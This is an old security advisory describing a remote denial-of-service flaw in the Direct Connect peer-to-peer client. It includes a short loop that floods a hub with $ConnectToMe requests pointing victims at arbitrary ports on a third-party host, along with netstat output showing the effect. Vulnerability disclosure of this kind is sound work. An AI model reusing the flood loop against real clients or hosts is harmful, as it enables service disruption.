sec-labs team proudly presents: Remote DoS vulnerability in NeoModus Direct Connect 1.0 build 9 and probably newest version. by Lord YuP 13/07/2003
I. BACKGROUND Direct Connect is a windows (i've found also a linux version but i don't have time to test it) p2p file-sharing program, well common nowadays. II. DESCRIPTION Appending to aDe DC Client to Client HandShake looks like: Client <-> Client Communication in DC. 11-05-2002. By aDe ---------------------------------------------------------- ACTIVE FILE DOWNLOAD ---------------------- D = downloader U = uploader H = hub D>H: $ConnectToMe <U's username> <D's IP and port>| H>U: $ConnectToMe <U's username> <D's IP and port>| ...bla bla ... ;) As u can guess, the Direct Connect client after receiving "$Connect ToMe..." command from hub, tries to connect to specyfic IP and PORT sent by the Downloader. The attacker (evil-downloader) can send infinite requests to HUB with specyfic marked ip:port causing DoS attack in the Victim's client. Little example: Attacker: for (;;) { dc_send("$ConnectToMe victim www.microsoft.com:%d",sample_port++); } Client: (runned "netstat -a") TCP jin:1993 JIN:0 LISTENING TCP jin:1995 JIN:0 LISTENING TCP jin:1996 JIN:0 LISTENING TCP jin:2005 JIN:0 LISTENING TCP jin:2006 JIN:0 LISTENING TCP jin:2007 JIN:0 LISTENING TCP jin:2008 JIN:0 LISTENING TCP jin:2009 JIN:0 LISTENING TCP jin:2010 JIN:0 LISTENING TCP jin:2011 JIN:0 LISTENING TCP jin:2012 JIN:0 LISTENING TCP jin:2013 JIN:0 LISTENING TCP jin:2014 JIN:0 LISTENING TCP jin:2015 JIN:0 LISTENING TCP jin:2016 JIN:0 LISTENING TCP jin:2017 JIN:0 LISTENING TCP jin:2018 JIN:0 LISTENING TCP jin:2019 JIN:0 LISTENING ...and so on... III. IMPACT The attacked client may be DoS-ed in case of that internet connection can be reseted/stopped, some clients may flood with the "Out of Memory" msgboxes in case of that, system may be not working correctly, and DC client may be terminated. -- sec-labs team [http://sec-labs.hack.pl]
pgp00000.pgp
Description: PGP signature